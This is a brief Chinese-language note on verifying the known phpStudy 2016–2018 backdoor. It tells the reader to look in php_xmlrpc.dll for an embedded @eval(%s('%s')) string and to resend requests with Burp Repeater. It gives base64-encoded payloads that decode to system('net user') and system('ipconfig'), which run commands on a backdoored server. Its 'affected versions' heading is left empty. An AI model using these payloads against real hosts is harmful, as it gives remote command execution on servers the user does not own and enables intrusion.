phpstudy2016-2018漏洞验证

影响版本

漏洞验证

查看目录下 php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll存在@eval(%s('%s'));即说明有后门。

burp抓包 ctrl+R 重发

c3lzdGVtKCduZXQgdXNlcicpOw==为system('net user');的base64编码转换

可以通过转码查看

c3lzdGVtKCdpcGNvbmZpZycpOw==   system(ipconfig);